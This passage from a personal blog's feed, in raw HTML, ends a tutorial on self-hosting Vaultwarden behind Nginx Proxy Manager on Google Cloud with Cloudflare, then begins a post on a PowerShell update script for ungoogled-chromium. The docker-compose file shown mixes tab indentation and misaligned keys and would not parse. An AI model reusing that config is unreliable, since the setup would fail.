</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">version</span>: <span style="color:#e6db74">&#39;3&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">app</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">image</span>: <span style="color:#e6db74">&#39;jc21/nginx-proxy-manager:latest&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>			- <span style="color:#e6db74">&#39;80:80&#39;</span>
</span></span><span style="display:flex;"><span>			- <span style="color:#e6db74">&#39;81:81&#39;</span>
</span></span><span style="display:flex;"><span>			- <span style="color:#e6db74">&#39;443:443&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">DB_MYSQL_HOST</span>: <span style="color:#e6db74">&#34;db&#34;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">DB_MYSQL_PORT</span>: <span style="color:#ae81ff">3306</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">DB_MYSQL_USER</span>: <span style="color:#e6db74">&#34;changeme&#34;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">DB_MYSQL_PASSWORD</span>: <span style="color:#e6db74">&#34;changeme&#34;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">DB_MYSQL_NAME</span>: <span style="color:#e6db74">&#34;changeme&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">./data:/data</span>
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">./letsencrypt:/etc/letsencrypt</span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">image</span>: <span style="color:#e6db74">&#39;jc21/mariadb-aria:latest&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">MYSQL_ROOT_PASSWORD</span>: <span style="color:#e6db74">&#39;changeme&#39;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">MYSQL_DATABASE</span>: <span style="color:#e6db74">&#39;changeme&#39;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">MYSQL_USER</span>: <span style="color:#e6db74">&#39;changeme&#39;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">MYSQL_PASSWORD</span>: <span style="color:#e6db74">&#39;changeme&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">./data/mysql:/var/lib/mysql</span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">server</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">bitwarden</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">./bw-data:/data/</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">WEBSOCKET_ENABLED=true</span>
</span></span><span style="display:flex;"><span>			- <span style="color:#ae81ff">ADMIN_TOKEN=&#34;changeme&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">network_mode</span>: <span style="color:#ae81ff">nginxproxy_default</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">image</span>: <span style="color:#e6db74">&#39;vaultwarden/server:latest&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">app</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>Now, exit out of editor and run the docker-compose file by running</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker-compose up -d
</span></span></code></pre></td></tr></table>
</div>
</div>
<p>It will fetch all the necessary images and will setup the apps for you. When you will type in <code>docker ps -a</code>, it should show three containers like below.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker ps -a
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>CONTAINER ID   IMAGE                             COMMAND                  CREATED       STATUS                 PORTS                                                                                  NAMES
</span></span><span style="display:flex;"><span>48xxxxxxxxxx   vaultwarden/server:latest         &#34;/usr/bin/dumb-init …&#34;   2 weeks ago   Up 2 weeks (healthy)   80/tcp, 3012/tcp                                                                       bitwarden
</span></span><span style="display:flex;"><span>a1xxxxxxxxxx   jc21/nginx-proxy-manager:latest   &#34;/init&#34;                  2 weeks ago   Up 2 weeks             0.0.0.0:80-81-&gt;80-81/tcp, :::80-81-&gt;80-81/tcp, 0.0.0.0:443-&gt;443/tcp, :::443-&gt;443/tcp   nginxproxy_app_1
</span></span><span style="display:flex;"><span>e4xxxxxxxxxx   jc21/mariadb-aria:latest          &#34;/scripts/run.sh&#34;        2 weeks ago   Up 2 weeks             3306/tcp                                                                               nginxproxy_db_1
</span></span></code></pre></div><p>At this stage, you can check your system performance. Load should be negligible and you should have 50% free memory for other stuffs to containerize, if you please.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ w
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span> 06:37:34 up 17 days, 16:21,  1 user,  load average: 0.00, 0.00, 0.00
</span></span><span style="display:flex;"><span>USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
</span></span><span style="display:flex;"><span>user1 pts/0     06:37    6.00s  0.00s  0.00s w
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ free -h
</span></span><span style="display:flex;"><span>              total        used        free      shared  buff/cache   available
</span></span><span style="display:flex;"><span>Mem:          976Mi       361Mi       394Mi       1.0Mi       220Mi       487Mi
</span></span><span style="display:flex;"><span>Swap:            0B          0B          0B
</span></span></code></pre></div><p>Now, we need to open port 81 for us to use. Google Cloud, by default, doesn&rsquo;t open port 81. We have to open it ourselves. Click on &rsquo;nic0&rsquo; available on <a href="https://console.cloud.google.com/compute/instances">Instances List</a>, just right of Internal IP. Click on &lsquo;Firewall&rsquo; section on left bar as shown below.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/gcpfirewall_hu15235430794327981024.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/gcpfirewall_hu12572415923719562274.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/gcpfirewall_hu15235430794327981024.webp"alt="Google Cloud Firewall Page to open port 81"  width="1293"  height="622"  loading="lazy" />
        </picture><figcaption>
            <p>Google Cloud Firewall Page to open port 81</p>
          </figcaption></figure>
<p>Click on &lsquo;Create Firewall Rule&rsquo;, and follow the options as given below.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/allowport81_hu4744126429370622345.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/allowport81_hu6722714114547930715.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/allowport81_hu4744126429370622345.webp"alt="Google Cloud Firewall Page to open port 81 and apply to instance"  width="1000"  height="2000"  loading="lazy" />
        </picture><figcaption>
            <p>Google Cloud Firewall Page to open port 81 and apply to instance</p>
          </figcaption></figure>
<p>When done, click on &ldquo;Save&rdquo;.</p>
<p>Now, login to Cloudflare and copy the &lsquo;External IP&rsquo; from Instances list and paste as &lsquo;A record&rsquo;. Mark the check to resolve it &lsquo;DNS Only&rsquo;.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/change-a-record_hu539643606743606549.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/change-a-record_hu4528496233026633959.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/change-a-record_hu539643606743606549.webp"alt="Change A record on Cloudflare Dashboard"  width="928"  height="517"  loading="lazy" />
        </picture><figcaption>
            <p>Change A record on Cloudflare Dashboard</p>
          </figcaption></figure>
<p>Copy the &lsquo;External IP&rsquo; and paste it on a new browser tab follows by <code>:81</code>. So it will be <code>http://&lt;External IP&gt;:81</code>. You will be presented with following screen.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/proxymanager-login_hu18165294612399750674.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/proxymanager-login_hu2948653644378575066.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/proxymanager-login_hu18165294612399750674.webp"alt="Nginx Proxy Manager login page"  width="745"  height="328"  loading="lazy" />
        </picture><figcaption>
            <p>Nginx Proxy Manager login page</p>
          </figcaption></figure>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Default Administrator User</b>
        </div>
        <div class="admonition-content"><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Email:    admin@example.com
</span></span><span style="display:flex;"><span>Password: changeme
</span></span></code></pre></div></div>
    </aside>
<p>Immediately after logging in with this default user you will be asked to modify your details and change your password.</p>
<p>Click on &lsquo;Proxy Hosts&rsquo; and then click on &lsquo;Add Proxy Host&rsquo;. You will be presented with following screen. Fill up  the form with the domain you chose on Step 1.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/proxymanager_hu16460302404762858079.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/proxymanager_hu17114704080511233626.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/proxymanager_hu16460302404762858079.webp"alt="Setup Bitwarden to use SSL and dedicated domain"  width="499"  height="547"  loading="lazy" />
        </picture><figcaption>
            <p>Setup Bitwarden to use SSL and dedicated domain</p>
          </figcaption></figure>
<p>Click on SSL tab and fill-up the domain again (if not already autofilled) and check on &lsquo;Force SSL&rsquo; and click on &lsquo;Save&rsquo;. Nginx will fetch SSL certificate from Let&rsquo;s Encrypt and setup traffic to your Bitwarden Instance.</p>
<p>Upon retrying <code>dig example-domain.cf</code>, you should get comparable result, with ANSWER as Google Cloud external IP.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ dig example-domain.cf
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>; &lt;&lt;&gt;&gt; DiG 9.16.1-Ubuntu &lt;&lt;&gt;&gt; example-domain.cf
</span></span><span style="display:flex;"><span>;; global options: printcmd
</span></span><span style="display:flex;"><span>;; Got answer:
</span></span><span style="display:flex;"><span>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 51043
</span></span><span style="display:flex;"><span>;; flags: qr rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
</span></span><span style="display:flex;"><span>;; WARNING: recursion requested but not available
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; QUESTION SECTION:
</span></span><span style="display:flex;"><span>;example-domain.cf.             IN      A
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; ANSWER SECTION:
</span></span><span style="display:flex;"><span>example-domain.cf.      0       IN      A       195.20.50.31
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; Query time: 110 msec
</span></span><span style="display:flex;"><span>;; SERVER: 172.21.0.1#53(172.21.0.1)
</span></span><span style="display:flex;"><span>;; WHEN: Sun Dec 05 00:00:31 UTC 2021
</span></span><span style="display:flex;"><span>;; MSG SIZE  rcvd: 68
</span></span></code></pre></div><p>Lastly, go to Cloudflare Firewall rule and set following to deny access to Australia and China.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/url-block_hu74311981418140467.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/url-block_hu11160519998885733134.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/url-block_hu74311981418140467.webp"alt="Setup deny for China and Australia"  width="934"  height="387"  loading="lazy" />
        </picture><figcaption>
            <p>Setup deny for China and Australia</p>
          </figcaption></figure>
<p>Click on &lsquo;Save&rsquo; and close the tab.</p>
<p>Now, when you will go to the URL(in a new tab), you should see this screen. Go ahead and create an account and save all your passwords like it&rsquo;s nobody&rsquo;s business.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/bitwarden_hu17556310205888352738.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/bitwarden_hu16788793822951296199.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/bitwarden_hu17556310205888352738.webp"alt="Bitwarden (Vaultwarden) Login Screen"  width="483"  height="586"  loading="lazy" />
        </picture><figcaption>
            <p>Bitwarden (Vaultwarden) Login Screen</p>
          </figcaption></figure>
<h2 id="step-4--additional-settings">Step 4 : Additional settings</h2>
<p>Here are few additional settings from Cloudflare. It is totally optional, but it is better to change them (if not already changed).</p>
<p><code>Your SSL/TLS encryption mode</code>(Encrypts end-to-end, using a self signed certificate on the server) - Full</p>
<p><code>Always Use HTTPS</code>(Redirect all requests with scheme “http” to “https”. This applies to all http requests to the zone) - On</p>
<p><code>Opportunistic Encryption</code>(Opportunistic Encryption allows browsers to benefit from the improved performance of HTTP/2 by letting them know that your site is available over an encrypted connection. Browsers will continue to show “http” in the address bar, not “https”) - On</p>
<p><code>TLS 1.3</code>(Enable the latest version of the TLS protocol for improved security and performance.) - On</p>
<p><code>Automatic HTTPS Rewrites</code>(Automatic HTTPS Rewrites helps fix mixed content by changing “http” to “https” for all resources or links on your web site that can be served with HTTPS) - On</p>
<p><code>Brotli</code>(Speed up page load times for your visitor’s HTTPS traffic by applying Brotli compression) -On</p>
<p><code>Rocket Loader™</code>(Improve the paint time for pages which include JavaScript) -On</p>
<p><code>Caching Level</code>(Determine how much of your website’s static content you want Cloudflare to cache. Increased caching can speed up page load time) - Standard</p>
<p><code>Browser Cache TTL</code>(Determine the length of time Cloudflare instructs a visitor’s browser to cache files. During this period, the browser loads the files from its local cache, speeding up page loads) - 4 Hours</p>
<p><code>Always Online™</code>(Keep your website online for visitors when your origin server is unavailable. Always Online serves limited copies of web pages to users instead of errors when your server is unreachable) - Off</p>
<p><code>Crawler Hints</code>(Crawler Hints provide high quality data to search engines and other crawlers when sites using Cloudflare change their content. This allows crawlers to precisely time crawling, avoid wasteful crawls, and generally reduce resource consumption on origins and other Internet infrastructure) -Off</p>
<p><code>0-RTT Connection Resumption</code>(Improves performance for clients who have previously connected to your website) - Off</p>
<p><code>WebSockets</code>(Allow WebSockets connections to your origin server.
Concurrent connection guidelines for your plan: low) - On</p>
<p><code>Onion Routing</code>(Onion Routing allows routing traffic from legitimate users on the Tor network through Cloudflare’s onion services rather than exit nodes, thereby improving privacy of the users and enabling more fine-grained protection) - Off</p>
<p><code>Pseudo IPv4</code>(Adds an IPv4 header to requests when a client is using IPv6, but the server only supports IPv4) -Off (Only if you don&rsquo;t use IPv6)</p>
<p><code>IP Geolocation</code>(Include the country code of the visitor location with all requests to your website) -On</p>
<p><code>Email Address Obfuscation</code>(Display obfuscated email addresses on your website to prevent harvesting by bots and spammers, without visible changes to the address for human visitors) -On</p>
<p><code>Server-side Excludes</code>(Automatically hide specific content from disreputable visitors) -On</p>
<p><code>Hotlink Protection</code>(Protect your images from off-site linking) -On</p>
]]></content></item><item><title>Update ungoogled-chromium</title><link>https://blzr.sbs/posts/update-ungoogled-chromium/</link><pubDate>Sat, 05 Nov 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/update-ungoogled-chromium/</guid><description>ungoogled-chromium doesn't provide an update mechanism out-of-the-box, so I made one. Don't worry, I will share the script with you along with what everything is doing in a simple language so that you can be at ease</description><content type="html"><![CDATA[<p>Hello, my fellow bots! You must be tired of scraping this site and getting no new fodder to feed upon. I feel you, buddy. Me myself would be bummed for wasting resources and getting no new stuff. So, here&rsquo;s a new article.</p>
<h1 id="context">Context</h1>
<p>For any good story, we need a context; otherwise, how can you connect? We, being the beings of the &ldquo;internet,&rdquo; which these pesky humans use for sharing cat pictures, stalking their crushes, and complaining about being lonely (even though 49.58% of the world&rsquo;s population is female), know that we need a good backstory. So here we go.</p>
<p>I like the Chrome browser. I might have created more enemies than friends at this point, so let me continue. Sure, I test my sites on Gecko (the layout engine developed by the Mozilla Project and used in many apps and devices, including Firefox and Firefox OS) first before caring to test on Blink, and never on Webkit (coz, Fuck Apple). However, for day-to-day tasks, Firefox lags behind quite a lot. With me giving multiple online interviews (<a href="https://linkedin.com/in/ristik-majumdar">Please Hire me</a>), I found that various video calling applications work best on Chromium. So, I had to use Upon checking the Chromium landscape, there are four major players (Chrome, Edge, Brave and Vivaldi), but me being a minimalist, I prefer the least amount of bells and whistles. In that space, there are not many but a few independently maintained Chromium forks. I found out about Bromite, but it is Android only, and I do not have enough horsepower to build a desktop browser from source. Upon taking a long trip into reddit world, I found about ungoogled-chromium. From <a href="https://github.com/ungoogled-software/ungoogled-chromium">GitHub</a>, they advertise themselves as <code>A lightweight approach to removing Google web service dependency</code>. A few of the major tweaks are as follows:</p>
<ol>
<li>Remove all remaining background requests to any web services while building and running the browser</li>
<li>Remove all code specific to Google web services</li>
<li>Remove all uses of pre-made binaries from the source code, and replace them with user-provided alternatives when possible.</li>
<li>Disable features that inhibit control and transparency, and add or modify features that promote them (these changes will almost always require manual activation or enabling)</li>
</ol>
<p>And boy, do they deliver. Yes, I had checked with WireShark. The only pain point I have is that they do not have an adequate update notification system on Windows systems. Yes, it is a good thing, but being the forgetful person I am, this means I am still doing whatever a single dude does on the internet on outdated software. Before you come at me with pitchforks, I need to clarify that I use Windows because my work computer is Windows, and yes, I use my work computer for various other tasks apart from work-related tasks (mostly Youtube and Spotify).</p>
<p>This small issue led me to create a script to update my instance of ungoogled-chromium. Since it is a Windows system, PowerShell was my go-to choice. Don&rsquo;t worry, I will share the script with you along with what everything is doing in a simple language so that you can be at ease.</p>
<h1 id="simple-know-hows">Simple Know-How&rsquo;s</h1>
<p>Before we jump into explanation and you run the script. Here are few pointers.</p>
<ol>
<li>This script instals chromium in userspace. This means to run this script, you do not need to grant administrator privilege, which is always a good thing. This is due to the fact that my work computer has Administrator disabled by the organisation.</li>
<li>This script places all the files in the folder where the script is located. That means, if you have downloaded the script, everything will be in your Downloads folder. You get the idea, I think.</li>
<li>I will give you the option to edit some sections of the code, but if you do not want to tweak it, it will work perfectly fine.</li>
<li>If you haven&rsquo;t worked with PowerShell before, you might get an error below</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>.\update-chromium.ps1 <span style="color:#960050;background-color:#1e0010">:</span> File update-chromium.ps1 cannot be loaded. The file update-chromium.ps1 is not digitally signed. You cannot run this script on the current system. <span style="color:#66d9ef">For</span> more information
</span></span><span style="display:flex;"><span>about running scripts and setting execution policy, see about_Execution_Policies at https<span style="color:#960050;background-color:#1e0010">:</span>/go.microsoft.com/fwlink/<span style="color:#66d9ef">?</span>LinkID=<span style="color:#ae81ff">135170</span>.
</span></span><span style="display:flex;"><span>At line<span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">1</span> char<span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>+ .\update-chromium.ps1
</span></span><span style="display:flex;"><span>+ ~~~~~~~~~~~~~~~~~~~~~
</span></span><span style="display:flex;"><span>    + CategoryInfo          <span style="color:#960050;background-color:#1e0010">:</span> SecurityError<span style="color:#960050;background-color:#1e0010">:</span> (<span style="color:#960050;background-color:#1e0010">:</span>) [], PSSecurityException
</span></span><span style="display:flex;"><span>    + FullyQualifiedErrorId <span style="color:#960050;background-color:#1e0010">:</span> UnauthorizedAccess
</span></span></code></pre></div><p>This is a standard protection to prevent you from running malicious scripts. It can be bypassed by running the following command in a PowerShell window.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
</span></span></code></pre></div><p>You can revert back to default security by running the below command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser
</span></span></code></pre></div><ol start="5">
<li>You can download the script (if you are lazy) by running the following command in PowerShell window</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>Invoke-WebRequest -URI https<span style="color:#960050;background-color:#1e0010">:</span>//raw.githubusercontent.com/1bl4z3r/boredhub/master/update-chromium.ps1 -o update-chromium.ps1
</span></span></code></pre></div><ol start="6">
<li>To run the script, right click on the file and select &ldquo;Run with PowerShell&rdquo;</li>
</ol>
<h1 id="lets-get-onto-the-fun-part">Let&rsquo;s get onto the fun part</h1>
<h2 id="optional-part">Optional part</h2>
<p>Some of you fickle-minded bots might want to have a separate default location for installation and have scripts in a separate place. To allow for you guys, change <code>$PWD</code> to a custom location. If you want the installation folder to be different than &lsquo;ungoogled-chromium&rsquo;, you can change <code>$DIR = &quot;$PWD\ungoogled-chromium&quot;</code> accordingly. For those who want to play it safe, first get a condom, let me explain.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$PWD = Get-Location
</span></span><span style="display:flex;"><span>$DIR = <span style="color:#e6db74">&#34;</span>$PWD<span style="color:#e6db74">\ungoogled-chromium&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>$PWD checks for the current location where the script is placed and uses it to determine where the software files need to be placed. $DIR creates a sub-folder with the name &lsquo;ungoogled-chromium&rsquo;, which can be referenced later. It is just for quality of life, and you tie everything in a neat bowtie. Every action will take place in this folder only. Your homework folder will not be affected.</p>
<h2 id="is-this-a-new-install-or-an-update">Is this a new install or an update?</h2>
<p>Following code block checks if ungoogled-chromium is already installed If it detects so, it will go on to check the version; otherwise, it will treat this as a new install. If you are in the latter category, well, welcome to a slightly private browsing experience.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52
